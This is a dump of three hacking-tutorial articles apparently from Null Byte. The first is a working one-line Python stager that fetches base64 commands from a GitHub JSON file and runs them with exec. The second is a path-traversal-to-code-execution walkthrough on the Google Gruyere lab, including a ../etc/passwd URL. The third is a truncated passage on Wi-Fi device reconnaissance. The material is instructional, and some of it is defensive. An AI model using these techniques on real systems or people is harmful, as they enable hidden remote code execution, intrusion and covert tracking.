title
stringlengths
30
147
content
stringlengths
17
61.4k
How to Execute Hidden Python Commands in a One-Line Stager « Null Byte :: WonderHowTo
A stager is a small piece of software that's typically used by malware to hide what's happening in the early stages of infection and to download a larger payload later.We're going to explore how it works by creating a single line that downloads and runs potentially infinite lines of Python. An attacker could use this to hide a really suspicious, damaging payload in a way that a person who's just skimming through a new security tool might miss.The way we're going to unpack this is by base-encoding our different commands in Base64 and then uploading it to a JSON object so we can pull it down, decode them, and run them one by one — all while keeping things within a single line of Python.Install or Update Python 3To follow along, you'll need Python 3 installed on your computer. Not sure if you have it? Typepython3 --versioninto a terminal window to find out.~$ python3 --version Python 3.7.6If you don't have the latest version of Python 3, do asudo apt updateandsudo apt install python3in a terminal window.~$ sudo apt update [sudo] password for kali: Hit:1 http://kali.download/kali kali-rolling InRelease Reading package lists... Done Building dependency tree Reading state information... Done 1015 packages can be upgraded. Run 'apt list --upgradable' to see them. ~$ sudo apt install python3 Reading package lists... Done Building dependency tree Reading state information... Done The following packages were automatically installed and are no longer required: dkms libgfapi0 libgfrpc0 libgfxdr0 libglusterfs0 libpython3.7-dev linux-headers-amd64 python3.7-dev Use 'sudo apt autoremove' to remove them. The following additional packages will be installed: ... Processing triggers for desktop-file-utils (0.24-1) ... Processing triggers for mime-support (3.64) ... Processing triggers for libc-bin (2.29-9) ... Processing triggers for systemd (244-3) ... Processing triggers for man-db (2.9.0-2) ... Processing triggers for kali-menu (2020.1.7) ... Processing triggers for initramfs-tools (0.135+kali1) ... update-initramfs: Generating /boot/initrd.img-5.4.0-kali3-amd64Install PyCharm IDE (Optional)To build our one-liner, we're going to be using PyCharm, a Python IDE (integrated development environment). You can use something else, but if you want PyCharm, you can pdownload and install it from its website. The free community edition is good enough for what we need, and it works on Windows, macOS, and Linux.Working Through the AttackTake a look at the one-liner code below, which tries to hide what it's doing. It's a good model for understanding the way that a basic stager might work. It looks pretty basic at first glance since all it seems like it's doing is requesting some data and executing what looks like a Base64-encoded string.import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); exec(base64.b64decode(data["m1]).decode('utf-8'))If you know anything about programming, that code is pretty alarming because you have no idea what's in the string, and you have no idea what exactly it's going to do. It could be obfuscated even further so that the only thing you really see is just the Base64 string. You could hide a really long string of commands behind a single exec function to conceal what's actually going on.What's the point of all this? What's the worst that can happen if you run the code?Let's take a payload like the one below and run it in PyCharm.print("The operaton was a success") print("If you see this multi-line works") print("Now just riding the train")You can see it's just a couple print statements that do in fact work.The operaton was a success If you see this multi-line works Now just riding the trainNow, let's go back to that one-liner and look at the raw form of the linked URL for the JSON file in a web browser to see what it looks like.https://raw.githubusercontent.com/skickar/Research/master/twitter1.json { "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=", "m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==", "m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo=" }If we view the JSON input, we can see that this is what the actual code looks like:{ "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=","m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==","m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo=" }It's all pretty confusing and doesn't really mean much to the average person if they see it. It's not a bunch of obvious commands, and they would have to decode each one to really see what was happening.So if there were a bunch of innocuous commands in the JSON plus a couple of malicious ones, or if you were able to call the commands in a different order so you could basically build a malicious structure, then the game starts to change. That's because we don't know what order they are being called in. And you could do all sorts of other things to obfuscate the way the code is working.These are all levels of deception that a stager might use to hide what its true intentions are. You don't want to just drop your best malware in right away and then have all your exploits out there so that if someone catches it, they know exactly how to defend against it.Now, how do we get these Python commands to actually be the strings, and how do we get it to run correctly when we execute it?If we take our one line of code from the stager and run it in Python, then we can see what happens. As you can see below, we hit a whole bunch of print statements and that's not really what we were expecting because it was pretty short. So there's a lot of text here that's coming out of commands, and we actually don't know what's going on besides these print statements. Aside from those, we could have a situation where other things are executing on the computer and all we see is something deceptive that's trying to trick us into thinking that everything's fine.~$ python3 Python 3.8.2 (default, Apr 1 2020, 15:52:55) [GCC 9.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); exec(base64.b64decode(data["m1]).decode('utf-8')) You should NEVER just let some random Python program Exec code on your system!?!?! Are you fucking crazy??? But while you're here, how does this script work? Well, it's stupid, and great What it does is request some JSON data from Github, which is loaded with base64 strings This code takes that JSON object and decodes the base64 strings, which are actually Python commands Then, it blindly executes them on your soft, vulnerable system, but beceuase the JSON keys are organized to add as many as you want, it's easy to add commands. >>> quit()Now, let's take a look at the Python script we ran in PyCharm, and we can see the print statements that will run.print("The operaton was a success") print("If you see this multi-line works") print("Now just riding the train")When run, we should get this:The operaton was a success If you see this multi-line works Now just riding the trainIf we want to encode it so that we can upload it in the JSON object, what we can do is runbase64with the filename we used to save it on our system (yours can be something else). That will encode the contents of the text file.~$ base64 yourpythonfilehere.py cMJpbnQoIlRoZSBvYXRpb24gd2FzIGEgc3VjY2VzcyIpCnByaW50KCJJZiB5b3Ugc2VlIHRoaXMsIG11bHRpLWxpbmUgd29ya3MiKQpwcmludCgiTm93IGp1c3QgcmlkaW5nIHRoZSB0cmFpbiIpCg==If I were to exec it after decoding it, it'll go ahead and not only preserve the code that's there but line breaks too, so I can run multi-line code within one base64 object. That's one advantage because you can have one long object that looks like it's a single thing when in fact it might be a bunch of different lines of code all crammed into one.This is great if we want to make it hard to analyze. In general, our process is going to be writing different payloads, converting them into a Base64 string, and dropping them into a data structure as we see here:{ "m1":"Zm9yIGkgaW4gcmFuZ2UgKDIsKGxlbihkYXRhKSArIDEpKTogZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKGRhdGFbJ217fScuZm9ybWF0KGkpXSkuZGVjb2RlKCd1dGYtOCcpKQo=","m2":"cHJpbnQoIllvdSBzaG91bGQgTkVWRVIganVzdCBsZXQgc29tZSByYW5kb20gUHl0aG9uIHByb2dyYW0gRXhlYyBjb2RlIG9uIHlvdXIgc3lzdGVtIT8hPyEiKQpwcmludCgiQXJlIHlvdSBmdWNraW5nIGNyYXp5Pz8/IikKCg==","m3":"cHJpbnQoIkJ1dCB3aGlsZSB5b3UncmUgaGVyZSwgaG93IGRvZXMgdGhpcyBzY3JpcHQgd29yaz8gV2VsbCwgaXQncyBzdHVwaWQsIGFuZCBncmVhdCIpCnByaW50KCJXaGF0IGl0IGRvZXMgaXMgcmVxdWVzdCBzb21lIEpTT04gZGF0YSBmcm9tIEdpdGh1Yiwgd2hpY2ggaXMgbG9hZGVkIHdpdGggYmFzZTQ2IHN0cmluZ3MiKQpwcmludCgiVGhpcyBjb2RlIHRha2VzIHRoYXQgSlNPTiBvYmplY3QgYW5kIGRlY29kZXMgdGhlIGJhc2U2NCBzdHJpbmdzLCB3aGljaCBhcmUgYWN0dWFsbHkgUHl0aG9uIGNvbW1hbmRzIikKcHJpbnQoIlRoZW4sIGl0IGJsaW5kbHkgZXhlY3V0ZXMgdGhlbSBvbiB5b3VyIHNvZnQsIHZ1bG5lcmFibGUgc3lzdGVtLiBJdCBkb2VzIHRoaXMgZm9yIGhvd2V2ZXIgbWFueSBjb21tYW5kcyB5b3Ugd2FudC4iKQpwcmludCgiRm9ydHVuYXRlbHksIHRoaXMgcGF5bG9hZCBpcyBqdXN0IHByaW50IHN0YXRlbWVudHMsIGJ1dCBiZWNhdXNlIHRoZSBKU09OIGtleXMgYXJlIG9yZ2FuaXplZCB0byBhZGQgYXMgbWFueSBhcyB5b3Ugd2FudCwgaXQncyBlYXN5IHRvIGFkZCBjb21tYW5kcy4iKQo=" }With each one of these messages, we have another different command that's being called.Let's go back to PyCharm to see what happens when we try to analyze the code. Instead of executing the sketchy thing, we're going to just print it by changing "exec" to "print" in the line.import json; import requests; import base64; data = (requests.get("https://github.com/skickar/Research/blob/master/twitter1.json")).json(); print(base64.b64decode(data["m1]).decode('utf-8'))Now, run it as a stager, and we can see the following:for i in range (2,(len(data) + 1)): exec(base64.b64decode(data[m{}'.format(i)]).decode('utf-8')) Process finished with exit code 8What the code is doing is starting a loop. It starts at 2 and it runs all the way to the length of the data, so as many different messages that we put in our JSON object. It's designed to be flexible so that it actually makes sure that it includes every single message that is in the JSON object. We can make as many as we want and the code will find them and execute them one by one.Now, this .format is making it so that each time we go through the loop, we use the current variable "i," which starts at, in this case, 2, and then runs all the way to the end of the length of data, plus one. I did this because I didn't actually start the "m" at zero. I should have started at zero to make it easier. Still, for a rough draft, it's a pretty good way of explaining how you can iterate through a bunch of messages using a m.format, or some other format, to use the "i" of the loop to jump through each of your messages. To make that really clear, we have m1, m2, and m3, and these are all keys in our JSON object.The way that JSON works is that we have a key, then a colon, then a value. To access them, in Python anyway, we need to make sure that we're specifying first the key and then the value. We're specifying m1, which is going to be the key, and we're basically requesting the data inside of it as the value that we're substituting, so what we are doing is saying "hey, I want to put whatever part of the loop that's in m, to decode it and drop it right here, then execute it in this loop."That is a way that we can unpack our Python code and run a loop that jumps through all the messages we've uploaded. I just used m1 as an example, but any numeric sequence will work just fine.With this, we can go ahead and replace our "print" back to an "exec." Now, instead of seeing the first line of code, it's gone through and executed all the messages that we had in our JSON object.For a beginner, this would be a pretty crazy thing to miss because a simple line like this, or even a further obfuscated line, that just execs and decodes a Base64 string wouldn't really be something they would want to jump in and try to decode because they might not understand how serious it is.But for anyone with more experience coding than something that just looks like exec Base64 decode, and a long string, should give you a lot of alarm because, if that command is the rest of this, then you could be in a lot of trouble as it downloads and executes as many lines at once and does really whatever it wants on your systemInspect New Tools for Suspicious Lines of CodeIf you learn anything from this, it should be that you shouldn't just go ahead and download and run any new security tool without going through it first and paying specific attention to any lines of code that are executing things you don't understand.The exec function in Python is incredibly powerful and very dangerous to run if you don't understand what it's doing. So anytime you see it in a line of code, make sure you know what's happening because it could run in our case potentially infinite lines of code without you knowing what they're doing.Don't Miss:Use Beginner Python to Build a Brute-Force Tool for SHA-1 HashesWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image by Retia/Null ByteRelatedHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)Hacking macOS:How to Create an Undetectable PayloadHow to Use PowerShell Empire:Generating Stagers for Post Exploitation of Windows HostsHacking macOS:How to Hide Payloads Inside Photo MetadataHow To:Use the Koadic Command & Control Remote Access Toolkit for Windows Post-ExploitationHow to Train Your Python:Part 15, Script Structure and ExecutionHow To:Use Microsoft.com Domains to Bypass Firewalls & Execute PayloadsHow to Use PowerShell Empire:Getting Started with Post-Exploitation of Windows HostsHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)How To:Hack UnrealIRCd Using Python Socket ProgrammingHow To:Bypass Antivirus Software by Obfuscating Your Payloads with GraffitiHow To:Execute Remote Commands on a Disconnected VictimHow To:Use Meterpeter on OS XHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsHow To:The Novice Guide to Teaching Yourself How to Program (Learning Resources Included)How To:Create Custom Commands in Kali LinuxHack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Hacking macOS:How to Install a Persistent Empire Backdoor on a MacBookHow To:Get Fastboot Flashable Factory Images for Any OnePlus PhoneHow To:An Introduction to IPythonHow To:Build an Evasive Shell in Python, Part 2: Building the ShellHow to Train Your Python:Part 19, Advanced File Input and OutputHow To:Reverse Shell Using PythonGoodnight Byte:Hack Our IRC Bot to Issue CommandsNews:Learning Python 3.x as I go (Last Updated 6/72012)How To:Code Your Own Twitter Client in Python Using OAuthHow To:Shorten URLs from the Command Line with PythonGoodnight Byte:Coding an IRC Bot in Python (For Beginners)How To:Enable Code Syntax Highlighting for Python in the Nano Text EditorCommunity Byte:Coding a Web-Based Password Cracker in PythonHow To:Make a Gmail Notifier in PythonHow To:Generate Word-Lists with Python for Dictionary AttacksGoodnight Byte:Coding a Web-Based Password Cracker in PythonHow To:Push and Pull Remote Files Securely Over SSH with PipesNews:Ball PythonsHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASH
How to Leverage a Directory Traversal Vulnerability into Code Execution « Null Byte :: WonderHowTo
Directory traversal, or path traversal, is an HTTP attack which allows attackers to access restricted directories by using the ../ characters to backtrack into files or directories outside the root folder. If a web app is vulnerable to this, an attacker can potentially access restricted files that contain info about all registered users on the system, their permissions, and encrypted passwords.Depending on the user permissions web applications grant users, such as read and write, an attacker can leverage a directory path traversal to not only read sensitive files but also replace system files with their own.As an example, for a web app that lets users download files, we can see if it's vulnerable to path traversal using the dot-dot-slash (../), which is the GNU-Linux/Unix way to escape from the current directory back out to the parent directory. We're navigating away from the app's root directory, typically named /app, back into directories closer to the system files, such as /etc/passwd.If you are browsing a web application, and the URL reads:http://shopping-site.com/get-files.php?file=clothingYou could check for a path traversal vulnerability by using ../ to try and escape into a system critical directory:http://shopping-site.com/get-files?file=../../../../etc/passwdWhile the attack seems simple, it still affects apps and devices to this day. Recently, the security research team at ForeScout, a cybersecurity firm,looked at devicesused in BAS networks, which are used to control energy-consuming equipment such asHVACand lighting controls in buildings. A path traversal vulnerability was among one of the many vulnerabilities they found in the devices.In this tutorial, we'll be snowballing a path traversal vulnerability on the vulnerable web appGoogle Gruyereinto a code execution vulnerability. The tool we'll use isBurp Suite Community Edition. Burp is an interception proxy, which acts as a man-in-the-middle by capturing each request to and from the target web app so that the pentester can edit, read, and replay individual HTTP requests to search for vulnerabilities and injection points.Don't Miss:Hacking Form Authentication in Web Apps with Burp Suite)Step 1: Visit Google Gruyere in Your BrowserBefore we get started configuring the proxy settings, setting up Burp Suite, and starting up Gruyere, let's first open your web browser of choice toGruyere's start page. Don't click on anything yet, we'll be agreeing and starting in a future step.google-gruyere.appspot.com/startStep 2: Configure Your Browser for Burp SuiteIf you do not have Burp Suite on your computer, you candownload and installit on macOS, Linux, and Windows. OnKali Linux, the Community Edition is already installed. Afterward, you'll need to download Burp's CA Certificate, then configure your browser to route traffic to Burp's Proxy. PortSwigger, the company behind Burp Suite, has anexcellent guide on setting up the CA Certificateyou can follow.To configure your browser to route traffic so Burp can intercept HTTP and HTTPS requests from a web app, you must set a manual proxy configuration in your browser. The settings can usually be found in "Proxy" or "Network Proxy." Set theHTTP Proxyto be 127.0.0.1 on port 8080, which are the default values Burp uses when it launches.This is how everything should look in Firefox.Step 3: Enable Burp to Capture Requests from the Web AppLeave your browser open to the web app you're testing, in this case, the Google Gruyere start page, and launch Burp Suite. Create a temporary project (this will always be the case since all other options are reserved for Burp Suite Pro), then select "use Burp Defaults" which will continue to run Burp with its default proxy settings of 127.0.0.1:8080.Step 4: Agree & Start Your Gruyere SessionNow it's time to go back to theGruyere's start pagewe opened in Step 1 to agree to the conditions. Click on "Agree & Start." Nothing will happen. By default, when Burp starts, "Intercept" is turned on in the "Proxy" tab. This means your web app will "hang" in the browser as if it's loading because it's waiting for Burp to either forward, drop, or take action on the request.Step 5: Begin Mapping the Web App Using Burp's Spider ToolWe'll be using Burp's Spider to map out the web app's content. When we are navigating the web app — following links, submitting forms, and creating an account — the Spider will save all the content of the web app and the navigational paths inside Burp to create a site map for the web app.Don't Miss:Generate a Clickjacking Attack with Burp Suite to Steal User ClicksThe browser tab should still be hanging, waiting for your action in Burp. Check the "Proxy" tab, and you'll notice the GET request to the home page of Gruyere has been "captured." Right-click on the GET request, and click "Send to Spider."Next, you will be prompted on whether or not you want to add the item to the spidering scope. Select "Yes" to add the web app's host to the target scope so that Burp knows which app's link to begin parsing for content.Then, select "No" when prompted with theProxy history loggingquestion. This ensures you have a broad scope, which makes it easier to find more targets. Sending out-of-scope items can lead to discovering portals to other portals where part of the web app is registered, such as a marketing portal, admin portal, and so on.Now, in the "Proxy" tab, click on "Intercept is on" to disable it (we no longer need it), and the Gruyere page should finally load in the browser.The Spider will begin to request a webpage parsing the links for content, requesting links and continuing to repeat this process recursively for every link found on the web app. A site map will be created and be accessible in Burp's "Target" tab.The Spider will also prompt you with form logins to continue recursively mapping the content. Dismiss those prompts in Burp Suite. Instead, we'll create a user right in the browser, then log in using from there to get a better picture of the functionalities available in the user home page.Step 6: Discover Functionalities in the Web AppWhile the Spider is actively running, discovering content and parsing every page you visit, it's time to explore what functionalities a user has access to in the web app. To do so, you must first create an account, so hit "Sign up," and create an account. The goal is to manually explore the web app as a regular user would while, in the background, you're running Burp's Spider to gather all paths you're visiting.Step 7: Find a Way to Backtrack to the Parent DirectoryOnce you have a user account and have logged in, you'll be greeted by a user interface with a navigation bar to do things such as create snippets, view snippets, and upload files. In this tutorial, we'll be focusing on the "Upload" file functionality of the web app since that is where we can find a path traversal vulnerability to use for code execution.Click on "Upload," then upload any file you want to the application. In my case, I uploaded a JPG image of a cat. Gruyere makes this file accessible at the path that follows this basic naming convention:site.com/username/fileYou can view the link to your uploaded file next to "File accessible at."Copy and paste the file link in the URL bar of your browser. This is when you can begin messing around with it to check for a path traversal vulnerability. Type../secretfileafter the file's URL, as shown below. If the URL doesn't end in a/(slash), add that before../secretfile.https://google-gruyere.appspot.com/611736743737267028246619854335969477478/test/cat.jpg/../secretfileAfter hittingEnter, an error should appear because the secret file cannot be found in the current directory, Now, try to backtrack into the parent directory of the app withsite.com/username/secretfile.This reveals that the application is omitting the ../ characters to execute and traverse the directories. On some web apps, when entering the ../ characters, the app will scrub the characters, not permitting any way to backtrack into parent directories.Exploiting File Uploads with a Path TraversalMaking uploaded content available throughusername/fileand allowing users to traverse the directory using ../ characters makes for the perfect candidate for a path traversal vulnerability.Since the web app is executing the ../ functionality to allow users to escape back into parent directories — a path traversal in the file upload function — it's possible an attacker can replace a file important to the web application infrastructure with their own.Depending on the file uploaded, a path traversal can turn into code execution. To know what kind of file to upload to trigger a code execution, let's check back with the Spider to see how it's mapped the web app.Don't Miss:How to Manipulate Code Execution with the Instruction PointerStep 8: Analyze the Source Code in Important FilesGo back to Burp, and check the "Site map" tab in the "Target" section. The Spider should have parsed a lot of paths as you were manually navigating the web app. A very interesting "code" directory will be there, with a file named "gruyere.py," as well as many other Python and GTL files, as shown in the screenshot below.Notice in the "resources" directory how some of the GTL files also are named after functionality seen in the user navigation bar once logged into Gruyere as a user. So these files "login.gtl," "newsnippet.gtl," and "upload.gtl" are not random files — they are the files with the code that enables users to log in, create snippets, and upload files in Google Gruyere, respectively.Reading through the Python file "gruyere.py," shown in the image below, notice there is logic built into the application to restart the server with a while loop. The while loop will repeat to handle requests until the condition of quit_server is true, which is met when the user navigates to /quitserver.Another interesting Python file discovered is "gtl.py." Reading through its code, it seems as if it's the Python file which builds the GTL templating language for the files that use the .gtl extension. This can be found by reading the beginning of the multiline comment which start with a triple-double quotes (""") in Python reading:Gruyere Template Language part of Gruyere, a web application with holes.With the files just discovered, what we know so far is Gruyere is a web app which uses a templating language called GTL. The templating language is built by the Python file called "gtl.py" for all the logic of the files ending in .gtl.Thinking like an attacker, if we could replace the "gtl.py" file with our own, we can rewrite the site's infrastructure and thus own the application. We already discovered that the file upload functionality is vulnerable to a path traversal attack. So if we wanted to replace the "gtl.py" file, we could leverage the file upload functionality by creating our own "gtl.py" file and name it../gtl.py.Note that creating files and naming them with characters such as ../ will throw an error on both Windows and macOS. This can be circumvented by creating a user called..(dot dot) on Gruyere. Then, from the account of the..user, upload our own "gtl.py," and restart the web application by navigating to/quitserverin the URL bar. If you recall, we discovered /quitserver when the Spider found the "gruyere.py" file.Since Gruyere is a purposely vulnerable web application, the server-owned warning "Gruyere System Alert" should appear, saying that the server is restarting and has been "0wnd."Real-World Code Executions Will Be a Lot WorseA real-world scenario of successful code execution would cause a lot more damage. For example, the recent news about the remote code execution found in the package manager which is used to update and install tools used by Debian, Ubuntu, and other popular GNU-Linux distributions.The RCE attackdiscovered in January 2019allows adversaries to issue man-in-the-middle attacks and execute arbitrary code as the root user (which is the user with the highest privileges in GNU-Linux) on any machine. Having a random attacker able to access your computer as the root user would cause havoc, as they can install any file on the system.Preventing This from HappeningWays to prevent a path traversal vulnerability in a file upload is to deal with the path traversal vulnerability, then the unrestricted file upload.For example, to prevent a path traversal, a web app should avoid dynamically reading files based on user input. Second, to prevent a malicious file upload, having a strict whitelist of what type of content, file types, and names are allowed to be uploaded.Gruyere allowed users to upload a file with the .py extension for a Python file. However, a whitelist preventing Python, JavaScript, and PHP file names from being uploaded, as well as checking for double extension file names, in case an attacker uses a code.py.jpg extension, can make it more difficult for an attacker to upload arbitrary code files to the server.Don't Miss:Hack Distributed Ruby with Metasploit & Perform Remote Code ExecutionFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image, screenshots, and GIFs by Ginsa0x8/Null ByteRelatedHow To:Perform Directory Traversal & Extract Sensitive InformationHow To:Use Websploit to Scan Websites for Hidden DirectoriesHow To:Detect Vulnerabilities in a Web Application with UniscanHack Like a Pro:How to Find Directories in Websites Using DirBusterHow To:Exploit Remote File Inclusion to Get a ShellHow To:Exploit PHP File Inclusion in Web AppsAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Exploit Shellshock on a Web Server Using MetasploitHack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHow To:Get Root Filesystem Access via Samba Symlink TraversalHow To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHow To:Build a Directory Brute Forcing Tool in PythonHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:Beat LFI Restrictions with Advanced TechniquesHow To:Hack UnrealIRCd Using Python Socket ProgrammingHow To:Audit Web Applications & Servers with TishnaHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHow To:Easily Detect CVEs with Nmap ScriptsHow To:Probe Websites for Vulnerabilities More Easily with the TIDoS FrameworkHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)How To:Scan Websites for Interesting Directories & Files with GobusterHow To:Find Hidden Web Directories with DirsearchHow To:A Simple Virus Written...in Bash!How To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Hack Apache Tomcat via Malicious WAR File UploadHow To:Exploit EternalBlue on Windows Server with MetasploitGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+News:Flaw in Facebook & Google Allows Phishing, Spam & MoreNews:Lots of WordPress plugin vulnerabilitiesNews:Learning Python 3.x as I go (Last Updated 6/72012)How To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker Training
How to Spy on Network Relationships with Airgraph-Ng « Null Byte :: WonderHowTo
What if you could easily visualize which access point every Wi-Fi device nearby is connected to in a matter of seconds? While programs likeAirodump-ngcan intercept this wireless information, making it easy for hackers to use and understand is another challenge. Fortunately, a tool called Airgraph-ng can visualize the relationships between Wi-Fi devices from only a few seconds of wireless observation.Signals Intelligence with Wi-Fi DevicesSignals intelligence is the science of understanding human behavior and systems behind intercepted radio signals. To understand how to attack a target, we want the maximum amount of information about the target surface area we have to consider. Without being connected to a network with encryption, like WPA or WPA2, we can't rely on tricks like sending packets to scan for other connected devices because we're on the outside looking in.We can't read the traffic flowing between devices, but we can watch the relationship between Wi-Fi devices like laptops, smartphones, andIoT productsto learn about the network and the people behind them. To understand how a network is connected, we can sniff the Wi-Fi radio traffic in the area to discover which devices are currently connected to an access point, building a list of relationships.Recommended on Amazon:IoT Hackers Handbook: An Ultimate Guide to Hacking the Internet of Things and Learning IoT SecurityFor an attacker, this means the ability to walk through a building and create a map of which access point every printer, security camera, and laptop is connected to. It's also possible to learn the names of networks nearby Wi-Fi devices have connected to recently, making it easy to create a fake network they will connect to automatically.Making Intercepted Signals ReadableAnother use for this kind of analysis is determining whether a device representing a person, like a smartphone, is present at a location. Creating a map of when someone comes and goes based on their Wi-Fi activity is an easy way of understanding when someone is home or using certain devices.For this kind of signals analysis,Kismetis one of the best ways of scanning the relationships between nearby devices. In spite of how useful it is, setting it up takes work and interpreting the results isn't always straightforward. Here, after some setup, we're able to zero in on a popular public access point, learning about the devices that are currently connected to it.The information from Kismet is a lot for a beginner to absorb. While Kismet gives an operator the ability to discover and then spy on the Wi-Fi activity of any device connected to a nearby network Wi-Fi network, there is an easier way of showing a tactical snapshot of the local Wi-Fi environment.Don't Miss:Use Kismet to Watch Wi-Fi User Activity Through WallsUsing Aigraph-ng, we can make a graphical version of this information. We can take all of this text data and convert it into a graphical snapshot of the relationships between nearby devices and the networks they are connected to. This gives immediate visibility to the topography of Wi-Fi networks in range.Airgraph-Ng for Signals InterpretationTo learn about the topography of nearby networks and display the results as a graph, we'll need to collect and then process the data. For collection, we'll use a program installed by default inKali Linuxcalled Airodump-ng. This program will "dump" the Wi-Fi 